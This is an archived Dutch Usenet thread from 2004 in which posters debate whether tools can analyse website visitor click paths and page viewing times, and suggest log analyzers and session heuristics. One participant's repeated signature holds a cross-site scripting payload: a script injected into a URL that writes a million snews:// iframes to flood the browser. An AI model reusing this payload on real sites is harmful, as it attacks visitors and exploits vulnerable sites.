Bekijk Volledige Versie : Website statistieken met bezoekerspaden
Hallo,
Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
Met Analog kun je statistieken opmaken van je logfiles.
Echter het is niet mogelijk om met dat programma bezoekerspaden te
analyseren.
Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
hebben en hoelang ze die bekeken hebben.
Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
kan analyseren?
Alvast bedankt voor je reactie!
Arjen
Ronnie Nolan
30/01/04, 13:55
On Fri, 30 Jan 2004 13:20:33 +0100, "Arjen" <boah123@hotmail.com>
wrote:
>Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
>kan analyseren?
Misschien staat hier iets vorr jou bij:
http://www.uu.se/Software/Analyzers/Access-analyzers.html
Ronnie
--
What I lack in intelligence,
I make up for in stupidity.
John Bokma
30/01/04, 16:35
Arjen wrote:
> Hallo,
>
> Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
> Met Analog kun je statistieken opmaken van je logfiles.
>
> Echter het is niet mogelijk om met dat programma bezoekerspaden te
> analyseren.
> Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
onmogelijk
> Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
> hebben en hoelang ze die bekeken hebben.
onmogelijk
> Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
> kan analyseren?
kort: niet. Je kan nl niet de back button zien. Ook kan je niet zien dat
iemand een browser openzet, uit z'n neus eet, naar de WC gaat, en chat
met iemand.
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
On Fri, 30 Jan 2004 16:25:43 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Arjen wrote:
>
>> Hallo,
>>
>> Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>> Met Analog kun je statistieken opmaken van je logfiles.
>>
>> Echter het is niet mogelijk om met dat programma bezoekerspaden te
>> analyseren.
>> Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>
> onmogelijk
Tuurlijk wel.
>
>> Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>> hebben en hoelang ze die bekeken hebben.
>
> onmogelijk
Tuurlijk wel.
>
>> Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
>> kan analyseren?
>
> kort: niet. Je kan nl niet de back button zien. Ook kan je niet zien dat
> iemand een browser openzet, uit z'n neus eet, naar de WC gaat, en chat
> met iemand.
Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
opnemen zodat ze niet gecached worden.
M.a.w., lekker bloated :-)
Hans
>
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Rene Pijlman
30/01/04, 18:15
Hans:
[click trail statistics]
>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>opnemen zodat ze niet gecached worden.
>
>M.a.w., lekker bloated :-)
Een heuristische oplossing zoals ook gebruikt wordt voor het tellen van
unieke bezoekers lijkt me ruim voldoende. Dat kun je gewoon stateless doen
op basis van de server logs.
De gebruikelijke heuristiek op basis van IP en tijdstip is: twee
opeenvolgende HTTP-requests van 1 client-IP worden geacht van dezelfde
gebruikerssessie te zijn als het onderling tijdverschil een bepaald
maximum (bijvoorbeeld: 15 minuten) niet overschrijdt.
Dit lost natuurlijk afwijkingen door caching, proxies, connection sharing,
klikken via andere sites etc. niet op, maar het is een redelijke
benadering die de site-eigenaar een clue geeft t.a.v. het klikgedrag.
Dit zou er een kunnen zijn:
http://sherlog.europeanservers.net/
(ik heb hier zelf geen ervaring mee)
Meer kandidaten wellicht op
http://linux.tucows.com/log_analyzers_default.html
http://www.linuxlinks.com/Software/Log_Analyzers/
--
René Pijlman
Wat wil jij leren? http://www.leren.nl
John Bokma
30/01/04, 19:55
Hans wrote:
> On Fri, 30 Jan 2004 16:25:43 +0100, John Bokma <postmaster@castleamber.com> wrote:
>
>>Arjen wrote:
>>
>>
>>>Hallo,
>>>
>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>Met Analog kun je statistieken opmaken van je logfiles.
>>>
>>>Echter het is niet mogelijk om met dat programma bezoekerspaden te
>>>analyseren.
>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>>
>>onmogelijk
>
> Tuurlijk wel.
Nee, onmogelijk.
>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>hebben en hoelang ze die bekeken hebben.
>>
>>onmogelijk
>
> Tuurlijk wel.
Onmogelijk.
In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
kan natrekken. En dan sluit ik bots nog even uit.
> Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
> bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
> opnemen zodat ze niet gecached worden.
Zelfs "niet cachen" is niet te garanderen.
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
On Fri, 30 Jan 2004 18:14:25 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Hans:
> [click trail statistics]
>>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>>opnemen zodat ze niet gecached worden.
> Een heuristische oplossing zoals ook gebruikt wordt voor het tellen van
> unieke bezoekers lijkt me ruim voldoende. Dat kun je gewoon stateless doen
> op basis van de server logs.
Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
live in willen zetten.
> De gebruikelijke heuristiek op basis van IP en tijdstip is: twee
> opeenvolgende HTTP-requests van 1 client-IP worden geacht van dezelfde
> gebruikerssessie te zijn als het onderling tijdverschil een bepaald
> maximum (bijvoorbeeld: 15 minuten) niet overschrijdt.
Er zijn oplossingen te vinden die dat makkelijk voor je maken hoor. Volgens
mij trouwens in elke (script)taal. Je kunt dan zelf een expire tijd instellen.
Volgens mij is dat trouwens ongeveer gelijk als wat we alletwee bedoelen met dat
verschil dat je logs niet live doorspit. In de sessions waar ik het over had
kun je een extra array opnemen met het path dat mensen afleggen. Die sla je dan
op als de session expired (gc).
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Hans wrote:
>>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>>Met Analog kun je statistieken opmaken van je logfiles.
>>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>>>onmogelijk
>>
>> Tuurlijk wel.
>
> Nee, onmogelijk.
Eigenwijs ventje ben je John :-)
>
>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>hebben en hoelang ze die bekeken hebben.
>>>
>>>onmogelijk
>>
>> Tuurlijk wel.
>
> Onmogelijk.
>
> In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
> kan natrekken. En dan sluit ik bots nog even uit.
In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>> Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>> bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>> opnemen zodat ze niet gecached worden.
> Zelfs "niet cachen" is niet te garanderen.
Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
met Opera in een admin interface (checken op een backbutton nadat men niet meer
ingelogt was). Ik weet hoe ik dat kan afdwingen.
Hans (net zo eigenwijs).
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Rene Pijlman
31/01/04, 00:15
Hans:
>Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
>live in willen zetten.
Ik had het niet over live, maar over het achteraf analyseren van logfiles.
Dagelijks ofzo.
--
René Pijlman
Wat wil jij leren? http://www.leren.nl
Michiel de Roo
31/01/04, 00:25
Hans wrote:
> On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:
>
>>Hans wrote:
>
>
>>>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>>>Met Analog kun je statistieken opmaken van je logfiles.
>
>
>>>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>
>
>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Nee, onmogelijk.
>
>
> Eigenwijs ventje ben je John :-)
>
>>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>>hebben en hoelang ze die bekeken hebben.
>>>>
>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Onmogelijk.
>>
>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>kan natrekken. En dan sluit ik bots nog even uit.
>
>
> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
>
Jij kan mij van je site gooien zodra ik koffie ga zetten ? Hoe dan ? Mijn
koffiezetapparaat heeft nog geen bluetooth......
>>>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>>>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>>>opnemen zodat ze niet gecached worden.
>
>
>
>>Zelfs "niet cachen" is niet te garanderen.
>
>
> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
> met Opera in een admin interface (checken op een backbutton nadat men niet meer
> ingelogt was). Ik weet hoe ik dat kan afdwingen.
>
> Hans (net zo eigenwijs).
Als ik een proxy server neerzet die alles cached, dan doet ie dat. Jij kan
dan hoog en laag springen, maar je doet er niks aan.
Michiel.
John Bokma
31/01/04, 00:45
Hans wrote:
> On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:
[snip]
>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Nee, onmogelijk.
>
> Eigenwijs ventje ben je John :-)
Nop. Hoe "zie" jij dat ik de back button 3x indruk, en dan op een link
klik in de cache? Welk pad volg ik dan? (b.v. de email link op elke
pagina op mijn site).
>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>kan natrekken. En dan sluit ik bots nog even uit.
>
> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
Ha ha ha! Hoe? Ik kan een pagina op jouw site openen, en er niet naar
kijken. Of Internet disconnecten, de pagina opslaan, en 3 dagen later
rustig, off line, lezen. Overigens hoeveel sites denk je gooien bezoek weg?
Ander voorbeeld, op mijn site, het oxazepam verhaal. Veel hit & run
bezoek, dus via Google (of link), lezen het verhaal (hoop ik) en weg. Ik
zie dus 1 hit. Ik zou vermoed ik met JS kunnen meten wanneer ze de
pagina "verlaten", maar wat zegt dat? Hoeveel hebben ze gelezen? Hoe
aandachtig? Hebben ze de pagina opgeslagen? Het zegt niks.
>>Zelfs "niet cachen" is niet te garanderen.
>
> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
> met Opera in een admin interface (checken op een backbutton nadat men niet meer
> ingelogt was). Ik weet hoe ik dat kan afdwingen.
En ik weet dat je nooit exact al die dingen kan meten. Hoe wil je een
bedrijfsproxy "dwingen" ? En iemand die met wget pagina's ophaalt??
(Gebeurd op mijn site o.a.). Soms browse ik met twee verschillende
browsers over 1 site. Soms zijn er hier meer mensen, die allemaal via
een NAT browsen.
En ik ben geen newbie op het gebied van stats meten, zeker niet ;-)
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
On Sat, 31 Jan 2004 00:15:49 +0100, Michiel de Roo <michiel@mderooPUNTNL> wrote:
>> John
> Hans wrote:
>>>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>>>hebben en hoelang ze die bekeken hebben.
>>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>>kan natrekken. En dan sluit ik bots nog even uit.
>> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
> Jij kan mij van je site gooien zodra ik koffie ga zetten ? Hoe dan ? Mijn
> koffiezetapparaat heeft nog geen bluetooth......
Daar hoef je geen koffie voor te gaan zetten.
>> ingelogt was). Ik weet hoe ik dat kan afdwingen.
>> Hans (net zo eigenwijs).
>
> Als ik een proxy server neerzet die alles cached, dan doet ie dat. Jij kan
> dan hoog en laag springen, maar je doet er niks aan.
Het gaat erom dat je bepaalde situatie kunt afdwingen. Nu kun je een proxy
inzetten maar dan zal je nog steeds niet die backbutton kunnen gebruiken en
vervolgens echt iets met die site kunnen doen. Als je een normale proxy in
gebruik hebt zul je niet meer de gegevens zien die niet meer zichtbaar moeten
zijn als je de backbutton gebruikt.
Als jij een onveilige lokale situatie wilt kweken door een proxy zo in te
stellen dat jij headers gaat negeren is dat prima maar vraag je af of het
leuk is als de schoonmaker, je collega of nog erger, de klant in jouw
pauze even de backbutton gaat gebruiken.
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
On Sat, 31 Jan 2004 00:11:25 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Hans:
>>Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
>>live in willen zetten.
>
> Ik had het niet over live, maar over het achteraf analyseren van logfiles.
> Dagelijks ofzo.
Snap ik, er zijn echter situaties waarbij je dat wel wil. Ik kan me zelfs
voorstellen dat je het alleen van bepaalde gebruikers/bezoekers wil loggen.
1. Nieuwe gebruikers.
2. Gebruikers waar je klachten over krijgt.
3. Gebruikers met bepaalde privileges.
4. Gebruikers waar je POST en GET params van wil loggen.
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Reply-To: onki@spamikaze.is-a-geek.org
NNTP-Posting-Host: e35203.upc-e.chello.nl
X-Trace: nl-news.euro.net 1075507201 38498 213.93.35.203 (31 Jan 2004 00:00:01 GMT)
X-Complaints-To: usenet@nl-news.euro.net
NNTP-Posting-Date: Sat, 31 Jan 2004 00:00:01 +0000 (UTC)
User-Agent: slrn/0.9.7.3 (Linux)
Xref: nl-news.euro.net nl.internet.www.server-side:33668
On Sat, 31 Jan 2004 00:39:33 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Hans wrote:
>
>> Eigenwijs ventje ben je John :-)
>
> Nop. Hoe "zie" jij dat ik de back button 3x indruk, en dan op een link
> klik in de cache? Welk pad volg ik dan? (b.v. de email link op elke
> pagina op mijn site).
Het is de vraag of je zoiet wil meetellen :-) Uiteraard moet je dan wel
je browser zo instellen dat ie alle headers gaat negeren. Zal vast wel
mogelijk zijn maar zie ook andere opmerkingen van mij over het instellen
van proxies.
>
>>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>>kan natrekken. En dan sluit ik bots nog even uit.
>>
>> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
> Ha ha ha! Hoe? Ik kan een pagina op jouw site openen, en er niet naar
> kijken. Of Internet disconnecten, de pagina opslaan, en 3 dagen later
> rustig, off line, lezen.
Alweer, alleen als je geen headers zet of het hardnekkig weg gaat schrijven.
In dat geval creeer je zelf bewust een onbedoelde situatie.
> Overigens hoeveel sites denk je gooien bezoek weg?
Veel, is ook vaak niet nodig tenzij je een dynamische site hebt.
> Ander voorbeeld, op mijn site, het oxazepam verhaal. Veel hit & run
> bezoek, dus via Google (of link), lezen het verhaal (hoop ik) en weg. Ik
> zie dus 1 hit. Ik zou vermoed ik met JS kunnen meten wanneer ze de
> pagina "verlaten", maar wat zegt dat? Hoeveel hebben ze gelezen? Hoe
> aandachtig? Hebben ze de pagina opgeslagen? Het zegt niks.
Je weet dat zoiets niet te meten is, hooguit de bezoekers en de paden.
>
>>>Zelfs "niet cachen" is niet te garanderen.
>>
>> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
>> met Opera in een admin interface (checken op een backbutton nadat men niet meer
>> ingelogt was). Ik weet hoe ik dat kan afdwingen.
> En ik weet dat je nooit exact al die dingen kan meten. Hoe wil je een
> bedrijfsproxy "dwingen" ?
Nogmaals, zie ook mijn andere opmerking. Als het gaat om het loggen van
geldige sessies dan is mijn oplossing een prima middel (even afgezien van
het lokaal opslaan en dus niet meer valide, die gegevens kunnen al verlopen
zijn).
> En iemand die met wget pagina's ophaalt??
Dan accepteer ik die niet op een dynamische site als ik zo paranoia ben.
> (Gebeurd op mijn site o.a.). Soms browse ik met twee verschillende
> browsers over 1 site. Soms zijn er hier meer mensen, die allemaal via
> een NAT browsen.
Die zullen toch echt wel aparte sessies moeten accepteren :-)
>
> En ik ben geen newbie op het gebied van stats meten, zeker niet ;-)
Het scheelt, ik ook niet:-)
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Hey mensen,
Het is mij onderstussen wel duidelijk geworden dat het kan.
Dat de analyses niet altijd correct hoeven te zijn stond voor mij vooraf al
vast.
Het zijn immers statistieken, en zoals je wellicht eerder gehoord hebt:
statistieken zijn de grootste leugens.
Ik lees in de vorige post veel welles en nietes verhalen.
Daar schiet ik dus niets mee op.
Ondertussen heb ik nog geen geschikte analyzer gevonden.
Eentje die op de server draait en webpagina's met grafieken genereert.
Met andere woorden, z'n tellen op de site moet ik niet hebben.
Zijn er nog mensen met suggesties?
Wederom alvast bedankt!
Arjen
Michiel de Roo
31/01/04, 13:05
Arjen wrote:
> Hey mensen,
>
> Het is mij onderstussen wel duidelijk geworden dat het kan.
> Dat de analyses niet altijd correct hoeven te zijn stond voor mij vooraf al
> vast.
> Het zijn immers statistieken, en zoals je wellicht eerder gehoord hebt:
> statistieken zijn de grootste leugens.
Nee hoor, statistieken liegen nooit. Het zijn gewoon de resultaten van een
stel rekensommetjes. Het zijn de mensen die ze fout interpreteren die de
leugenaars zijn.
>
> Ik lees in de vorige post veel welles en nietes verhalen.
> Daar schiet ik dus niets mee op.
Jammer voor je.
> Ondertussen heb ik nog geen geschikte analyzer gevonden.
> Eentje die op de server draait en webpagina's met grafieken genereert.
> Met andere woorden, z'n tellen op de site moet ik niet hebben.
>
> Zijn er nog mensen met suggesties?
Ik gebruik meestal TFS van www.oplossing.net. Maar ja, of deze aan jouw
uitgebreide specificaties voldoet.....
Michiel.
Rene Pijlman
31/01/04, 16:55
Arjen:
>Ik lees in de vorige post veel welles en nietes verhalen.
>Daar schiet ik dus niets mee op.
Nou, dan ga je maar ergens anders heen. Dit is een openbare
discussiegroep, niet jouw persoonlijke service-desk.
Je zou ook weleens iets inhoudelijker kunnen aangeven waarom het pakket
dat ik suggereerde niet voldoet. Want zo schieten we dus niet op.
--
René Pijlman
Wat wil jij leren? http://www.leren.nl
Rene Pijlman,
Sorry, je hebt gelijk!
Door de voorgaande "welles nietus" discussie heb ik je suggesties over het
hoofd gezien.
Ik zal er eens naar kijken!
Bedankt!
Arjen
"Rene Pijlman" <reply.in.the.newsgroup@my.address.is.invalid> schreef in
bericht news:9jjn10hc2bk9sphkaav324tkd0vk33go19@4ax.com...
> Arjen:
> >Ik lees in de vorige post veel welles en nietes verhalen.
> >Daar schiet ik dus niets mee op.
>
> Nou, dan ga je maar ergens anders heen. Dit is een openbare
> discussiegroep, niet jouw persoonlijke service-desk.
>
> Je zou ook weleens iets inhoudelijker kunnen aangeven waarom het pakket
> dat ik suggereerde niet voldoet. Want zo schieten we dus niet op.
>
> --
> René Pijlman
>
> Wat wil jij leren? http://www.leren.nl
>
Branko Collin
03/02/04, 13:25
John Bokma wrote:
> Hans wrote:
>> On Fri, 30 Jan 2004 16:25:43 +0100, John Bokma
>> <postmaster@castleamber.com> wrote:
>>> Arjen wrote:
>>>
>>>> Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>> Met Analog kun je statistieken opmaken van je logfiles.
>>>>
>>>> Echter het is niet mogelijk om met dat programma bezoekerspaden te
>>>> analyseren.
>>>> Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op
>>>> de website.
>>>
>>> onmogelijk
>>
>> Tuurlijk wel.
>
> Nee, onmogelijk.
Ik studeerde ooit computertaalkunde. Dan was er geregeld een college waarin
de docent trots bewees dat automatische vertaling onmogelijk is, en dat
automatische spraakherkenning onmogelijk is.
Ik weet niet of jullie een beetje op de hoogte zijn van de huidige stand in
talige toepassingen, maar spraakherkenners kun je op zo ongeveer elke hoek
van de straat kopen.
Had de docent ongelijk? Nee. Automatische spraakherkenning _is_ onmogelijk.
Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een mens zegt,
is volstrekt irrelevant. Als je 98+% haalt, heb je een product wat nuttig
is.
Kun je paden met 100% zekerheid analyseren? Nee. Is dat relevant? Nee. Het
is, zoals Rene aangeeft, een heuristiek; een aanpak die het best mogelijke
resultaat levert.
John Bokma
03/02/04, 17:05
Branko Collin wrote:
> John Bokma wrote:
[ bezoekerspaden ]
>>Nee, onmogelijk.
>
> Ik studeerde ooit computertaalkunde. Dan was er geregeld een college waarin
> de docent trots bewees dat automatische vertaling onmogelijk is, en dat
> automatische spraakherkenning onmogelijk is.
>
> Ik weet niet of jullie een beetje op de hoogte zijn van de huidige stand in
> talige toepassingen, maar spraakherkenners kun je op zo ongeveer elke hoek
> van de straat kopen.
>
> Had de docent ongelijk? Nee. Automatische spraakherkenning _is_ onmogelijk.
>
> Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een mens zegt,
> is volstrekt irrelevant. Als je 98+% haalt, heb je een product wat nuttig
> is.
Wordt die 98+% gehaald?
> Kun je paden met 100% zekerheid analyseren? Nee. Is dat relevant? Nee. Het
Hoe relevant het is hangt af hoe het geinterpreteerd gaat worden. Als
iemand het heeft over "de tijd dat een bezoeker doorbrengt op een
pagina" heeft heb ik weinig hoop. Onmeetbaar. Hoe iemand je pagina's
doorloopt, zelfs als het meetbaar is, je hebt er niet veel aan. Je ziet
niet of iemand verveeld een link aan klikt, of de pagina aandachtig
leest, en vervolgens een keuze maakt.
Bij spraakherkenning kan je meten, je praat tegen de computer, en je
vergelijkt het resultaat met wat je ingesproken hebt.
Hoe wil je dat met je access_log doen?
> is, zoals Rene aangeeft, een heuristiek; een aanpak die het best mogelijke
> resultaat levert.
Ja, en ik zet mijn vraagtekens bij dat resultaat. Het best mogelijke
resultaat van gedachtenlezen met de computer is ook niet nuttig te
gebruiken.
Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
tunen.... lees eens iets over quantummechanica :-D.
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
Branko Collin
03/02/04, 19:05
John Bokma wrote:
> Branko Collin wrote:
>> John Bokma wrote:
>
> [ bezoekerspaden ]
>
>>> Nee, onmogelijk.
>>
[snip]
>> Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een
>> mens zegt, is volstrekt irrelevant. Als je 98+% haalt, heb je een
>> product wat nuttig is.
>
> Wordt die 98+% gehaald?
Dat ligt er aan hoe je meet. :-) En hoe je die meting interpreteert. :-)
Waar het meestal om gaat, is dat jij, als gebruiker, niet om de haverklap
je tekstverwerker moet corrigeren. Wat 'om de haverklap' is, verschilt per
persoon. Iemand met RSI zal een fout per zin (per 15 a 20 woorden) nog wel
acceptabel vinden.
Ik heb ooit wat spraakherkenners getest, voor twee verschillende artikelen,
ongeveer twee jaar uit elkaar, en die tweede generatie spraakherkenners
maakte in een rustige omgeving, na korte training, minder dan 1 fout per
zin. Hoe nuttig dat is, hangt ook af van het gemak waarmee je een
herkenningsfout kunt corrigeren, en dat vond ik destijds (2000) nog een
minpunt van die pakketten.
>> Kun je paden met 100% zekerheid analyseren? Nee. Is dat relevant?
>> Nee. Het
>
> Hoe relevant het is hangt af hoe het geinterpreteerd gaat worden. Als
> iemand het heeft over "de tijd dat een bezoeker doorbrengt op een
> pagina" heeft heb ik weinig hoop. Onmeetbaar. Hoe iemand je pagina's
> doorloopt, zelfs als het meetbaar is, je hebt er niet veel aan. Je
> ziet
> niet of iemand verveeld een link aan klikt, of de pagina aandachtig
> leest, en vervolgens een keuze maakt.
Noem eens een nuttige toepassing van logfiles? We hebben het hier wel over
verschillende schalen van grijswaarden, maar als we niet weten wat voor jou
en voor mij acceptabel is, hebben we daar weinig aan.
> Bij spraakherkenning kan je meten, je praat tegen de computer, en je
> vergelijkt het resultaat met wat je ingesproken hebt.
>
> Hoe wil je dat met je access_log doen?
Duizend testertjes huren, hun een beetje laten surfen, onder toezicht van
twee meelopende camera's, en dat surfgedrag vergelijken met wat er in de
logfiles staat. En dan kun je inderdaad concluderen dat in X procent van de
gevallen een pauze van vijf minuten betekende dat de surfer naar de plee
moest.
> Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
> tunen.... lees eens iets over quantummechanica :-D.
Ik niet snappen?
John Bokma
03/02/04, 19:25
Branko Collin wrote:
> John Bokma wrote:
>
>>Branko Collin wrote:
>>
>>>John Bokma wrote:
>>
>>[ bezoekerspaden ]
>>
>>
>>>>Nee, onmogelijk.
>>>
> [snip]
>
>>>Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een
>>>mens zegt, is volstrekt irrelevant. Als je 98+% haalt, heb je een
>>>product wat nuttig is.
>>
>>Wordt die 98+% gehaald?
>
> Dat ligt er aan hoe je meet. :-) En hoe je die meting interpreteert. :-)
>
> Waar het meestal om gaat, is dat jij, als gebruiker, niet om de haverklap
> je tekstverwerker moet corrigeren. Wat 'om de haverklap' is, verschilt per
> persoon. Iemand met RSI zal een fout per zin (per 15 a 20 woorden) nog wel
> acceptabel vinden.
>
> Ik heb ooit wat spraakherkenners getest, voor twee verschillende artikelen,
> ongeveer twee jaar uit elkaar, en die tweede generatie spraakherkenners
> maakte in een rustige omgeving, na korte training, minder dan 1 fout per
> zin. Hoe nuttig dat is, hangt ook af van het gemak waarmee je een
> herkenningsfout kunt corrigeren, en dat vond ik destijds (2000) nog een
> minpunt van die pakketten.
1 fout per zin, wie noemt dat 98+%?
>>>Kun je paden met 100% zekerheid analyseren? Nee. Is dat relevant?
>>>Nee. Het
>>
>>Hoe relevant het is hangt af hoe het geinterpreteerd gaat worden. Als
>>iemand het heeft over "de tijd dat een bezoeker doorbrengt op een
>>pagina" heeft heb ik weinig hoop. Onmeetbaar. Hoe iemand je pagina's
>>doorloopt, zelfs als het meetbaar is, je hebt er niet veel aan. Je
>>ziet
>>niet of iemand verveeld een link aan klikt, of de pagina aandachtig
>>leest, en vervolgens een keuze maakt.
>
> Noem eens een nuttige toepassing van logfiles?
- meten hoeveelheid dataverkeer
- zien of een pagina bereikt kan worden
- error_log, zien of je per ongeluk niet een fout gemaakt hebt
- zien wie er linkt naar mijn pagina(s)
Ik vind het leuk om te zien dat een bepaalde pagina bezoekers krijgt via
Google, maar ik zie verder niet hoe de bezoeker die pagina gebruikt. Ook
vind ik het leuk als site X een link zet naar mij. Mensen die naar mij
linken, of nog leuker, mij een mailtje sturen met "Ik had veel aan de
informatie op je pagina" zegt mij veel meer dan wat regeltjes in een
access_log.
> We hebben het hier wel over
> verschillende schalen van grijswaarden, maar als we niet weten wat voor jou
> en voor mij acceptabel is, hebben we daar weinig aan.
Paden die de gebruiker volgt en tijd die een gebruiker doorbrengt op een
site. Ik vind dat beiden weinig zeggen over hoe de gebruiker een site
ervaart, of nuttig vind. Zet er dan een poll op.
>>Bij spraakherkenning kan je meten, je praat tegen de computer, en je
>>vergelijkt het resultaat met wat je ingesproken hebt.
>>
>>Hoe wil je dat met je access_log doen?
>
> Duizend testertjes huren, hun een beetje laten surfen, onder toezicht van
> twee meelopende camera's, en dat surfgedrag vergelijken met wat er in de
> logfiles staat. En dan kun je inderdaad concluderen dat in X procent van de
> gevallen een pauze van vijf minuten betekende dat de surfer naar de plee
> moest.
Yup, en wat heb je dan? Een momentopname van die site, in een
kunstmatige omgeving (die mensen zijn gehuurd, en denken dat ze moeten
presteren). Totaal foute opzet dus.
>>Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
>>tunen.... lees eens iets over quantummechanica :-D.
>
> Ik niet snappen?
Ah, ok, chaostheorie had een betere geweest wellicht :-D. Je gaat meten,
vervolgens ga je sleutelen aan je site afhankelijk van je (meestal
